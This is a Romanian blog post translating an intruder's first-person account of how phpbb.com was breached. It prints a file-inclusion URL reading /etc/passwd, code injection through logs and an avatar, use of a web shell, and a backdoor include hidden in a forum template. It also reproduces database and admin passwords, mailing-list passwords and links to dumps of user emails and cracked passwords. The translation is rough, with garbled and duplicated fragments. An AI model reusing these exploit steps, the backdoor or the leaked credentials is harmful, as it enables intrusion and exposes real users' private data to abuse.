Va scriam in urma cu cateva zile ca phpbb.com a fost spart si am explicat acolo in cateva cuvinte care a fost slabiciunea exploatata pentru a putea fi atacat acest site. Iata ca intre timp autorul acestei actiuni si-a facut publice mijloacele folosite si ne explica cum a gandit si actionat in detaliu.
Astfel in articolul Hacked PHPBB(dot)com sunt date detalii despre acest atac care a afectat grav comunitatea phpbb. Voi relua aici traducerea aproximativa a acestui articol doar pentru a sti mai bine cum sa va protejati de astfel de atacuri. Intre timp fisierele indicate in acest articol au fost suspendate de rapidshare.com
Totul a început pe 14 ianuarie, când am vizitat milw0rm şi am dat peste acest exploit: http://www.milw0rm.com/exploits/7778 Mi-am amintit apoi că phpbb.com ruleaza PHPlist si mi-am cautat prin e-mail link-ul catre locatia script-ului. Deci, m-am dus la phpbb.com/ lists şi am fost apoi sigur că se foloseste o versiune vulnerabilă. Apoi am activat programul meu preferat de proxy şi am încercat http://www.phpbb.com/lists/admin/index.php?_SERVER% 5bConfigFile% 5d =../../../../../. . / etc / passwd si am fost destul de sigur ca parola este inclusa in etc/passwd.
http://hackedphpbb.pastebin.com/f70f8bcaf
http://rapidshare.com/files/192159914/etc.txt http://rapidshare.com/files/192159914/etc.txt
Apoi am intrat pe /etc/httpd/conf/httpd.conf
http://rapidshare.com/files/192163061/httpd.txt
http://hackedphpbb.pastebin.com/d29d8d4c7
In cele din urmă am găsit calea catre log-ul de erori / home/logs/phpbb.com/error_log. După cautare am descoperit că forumul ruleaza in / home/virtual/phpbb.com/community/ si stiam de ceva timp ca se poate include cod în jurnalul de rori. Asa ca am vrut rulez niste cod, stiind ca avatarele PHPBB3 se află într-un folder denumit /home/virtual/phpbb.com/community/ images/avatars/upload si un avatar este denumit (secret hash)_userid.jpg. Dar eu nu ştiu ce a fost secret, pentru a include poza mea (care a avut propriul meu cod în aceasta), astfel încât, prin utilizarea jurnalului de erori am injectat cod. Si mi-am dat seama că hash-ul este f51ee61fe7a83fdf72780912bced0855. Aşa că acum de fiecare dată când vreau să rulez cod împotriva serverului pot include calea:
/../../../../../../ home/virtual/ phpbb.com/community/images/avatars/ upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg
Deci, primul mea avatar a fost ceva simplu şi am vrut să văd dacă phpBB păstrateza fişierul de configurare în text simplu, deci caut /home/virtual/phpbb.com/community/config.php şi eram destul de sigur ca acesta este în text simplu.
$dbms = ‘mysqli’; $ DBMS = ‘mysqli’;
$dbhost = ‘phpbb.db.osuosl.org’;
$dbport = ”;
$dbname = ‘phpbb’;
$dbuser = ‘phpbb2′;
$dbpasswd = ‘saxM9nfRjLbJ2Yy5′;
$table_prefix = ‘community_’;Între timp am verificat si fisierul de configurare pentru PHPlist şi ecesta a fost, de asemenea, în text simplu:
$database_host = “localhost”;
$database_name = “phpbb_phplist”;
$database_user = ‘phplist’;
$database_password = ‘Berti3_Danc3′;Aşa că am început să rulez comenzi si am aflat ca nu pot încărca un fişier text php pe forum şi de a găsi calea în care acesta a fost stocat dar am fost în stare să constat ca restrictia lor la 14kb privind dimensiunea avatarelor poate fi mai uşor evitata decat editare imagini cu edjpgcom. Asa ca am facut un mysql dump la tabelele phplist_admin unde am gasit in text simplu, parola pentru un cont de administrator care a fost phpbb_n3ws şi numele de utilizator care a fost phpBB. Wow sunt socat, nu un am folosit nimic fortat pentru a afla aceste lucruri. Asa ca m-am conectat şi am dat peste 400.000 de adrese de e-mail, sunt sigur că vor ajunge rapid pe piaţa neagră, îmi pare rău de oameni, dar trebuie sa se aşteapte la o mulţime de spam. După încercarea de a modifica fişierele care au fost stocate în PHPlist am renuntat şi şi m-am mutat pe forum. Dar nu înainte de a face un dumping la lista de email-uri a PHPlist pe care l-am pus aici:
http://rapidshare.com/files/192305758/out.txt
Pe forumul phpBB sunt un numar de 200.000 de membri, dar din cauza celor care faceau spam exista mai bine de 400.000 conturi. Am început sa fac dump la tabela community_users cu user_id, username şi user_password. PHPBB stocheaza parolele utilizatorilor folosind criptarea md5 şi parolele lor de admin folosind funky hash. Dar daca rulezi propriul forum si esti un administrator, poti să creezi hash iar apoi sa faci o actualizare mysql la un cont de administartor si ai intrat sau, dacă vă schimbaţi parola se poate utiliza functia de recuperare a parolei. Mai mult despre asta va voi spune alta data.
Deci, am scris un script care transfera via curl, md5 hash la un site web şi apoi stochează rezultatul în propria mea bază de date mysql. Valoarea totală a conturilor sparte: 28635. As fi putut continua cu spargerea dar a devenit plictisitor. Aici este un fişier sql cu parolele sparte. Atenţie, unele din numele de utilizator nu sunt chiar corecte, cum am avut de eliminat ghilimele pentru ca aceasta să se execute în script-ul meu, asa ca am inclus user id, astfel încât să puteţi verifica numele de login.
http://rapidshare.com/files/192304153/phpbb_users.sql
Am obtinut astfel accesul la panoul admin al forumului, si am fost capabil să citeasc forumul ascuns al echipei si am dat peste unele posturi interesante. Voi împărtăşi unele cu tine.
Lista de parole:
Pentru a încerca să fac acest lucru mai uşor, mai jos este o listă parolelor, vă rugăm să adăugaţi orice actualizare şi altele pe care le-aţi aflat:captcha-commits@lists.phpbb.com 54a946c47dd434b2
catdb-commits@lists.phpbb.com 6f543db8f086e11f
convertors-commits@lists.phpbb.com c192b68baacc8842
documentation-commits@lists.phpbb.com f85ffcdf9262420c
easymod-commits@lists.phpbb.com 5db5bf75be85191b
kbase-commits@lists.phpbb.com 7c843188ed2f6021
modteam-commits@lists.phpbb.com 533aeefe56bfa30c
prosilver-commits@lists.phpbb.com 859785a9cc724e03
website-commits@lists.phpbb.com 3c79b9864ae5ce43
phpbb-honey-commits@lists.phpbb.com 7e9563750650e4c4
st-tool-commits@lists.phpbb.com 534d4a9b74bb77aa
iit-track-commits@lists.phpbb.com 8f318ffd3a2067c8
packagemanager-commits@lists.phpbb.com 81657892dddafdca
moddocs-commits@lists.phpbb.com 85c837b7f78e5435Ti-am spus, au fost alese aleator Meik;)
edit by dhn: added website-commits
edit by tm: added phpbb-honey-commits, st–tool-commits, iit-track-commits.8kg;rt7Xykjq 8 kg; rt7Xykjq
Acestea ar trebui să funcţioneze pentru toate listele de discuţii de pe code.phpbb.com.
Emergency contacts and irc info:
http://hackedphpbb.pastebin.com/f1399b3e8
Si apoi mi-am adus aminte că panoul admin vă permite să faceti dump la tabele. Aşa că am facut dump la tabele de utilizatori, care este accesibil aici:
http://rapidshare.com/files/192261517/backup_sql.gz
Apoi am activat php în fişierele şablon şi am adaugat această mic cod la unul din template-uri:
$ip=$_SERVER['REMOTE_ADDR']; if($ip == “xxxx”){include(“/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f”);}Am facut asta cu un shell, de fapt R57shell . Am căutat apoi un director cu permisiuni de scriere şi am creat un fişier php şi am scris codul sursă pentru acest fişier. Am curăţat apoi template-ul si log-urile şi am plecat lasand forumul asa cum a fost.
După ce am cautat folosind un shell am dat peste setarile blog-ului:
define ( ‘DB_NAME’, ‘WordPress’); / / numele bazei de date
define ( ‘DB_USER’, ‘blog’); / / Your MySQL username
define ( ‘DB_PASSWORD’, ‘htsCCvyCnt5jPYMx’); / / … şi parola
define ( ‘DB_HOST’, ‘localhost’); / / 99% şanse nu veţi avea nevoie pentru a schimba această valoare
define(‘DB_CHARSET’, ‘utf8′);
define(‘DB_COLLATE’, ”);Şi acum este vorba de un scop, s-ar putea să întreb de ce am făcut asta? Pentru distracţie în principal, dar ceea ce aş dori să sugerez echipei de la phpBB este aceasta. Dacă aveţi de gând să rulati script-uri de la o terţă parte, integrarea lor trebuie tinuta la zi cu patch-urile. (chiar dacă a fost lansat patch-ul de 2 săptămâni). De asemenea, nu permiteti unui admin sa-si recupereze parola, pentru asta el ar trebui să contacteze un alt administrator. Un alt element, nu păstrati fişierele cu parole in text simplu sau în baza de date parolele in text simplu.
Ştiu că nu este usor de citit, dar este foarte greu să ne uităm în urmă cu privire la tot ceea ce am făcut pe parcursul a câteva săptămâni. Dar, spera ca, acum pot dormi mai bine ştiind că nu sunt îngrijorat despre următorul mod de a intra.
———————————–UPDATE ———————————– UPDATE
tot ce spun eu sunt un script kiddie, du-te dracului phpbb
nu am modificat nici un fişier de pe server, tot ce-am castigat a fost accesul enumerate în acest blog
————————–update ————————–
aici sunt cateva link-uri actualizate
http://www.2shared.com/file/4785295/67200bd7/phpbb.htmlhttp://www.2shared.com/file/4785295/67200bd7/phpbb.html
atunci când am vorbit despre parolele criptate,am vrut sa spun ca acestea au fost stocate în PHPlist în text simplu
Popularity: 11% [?]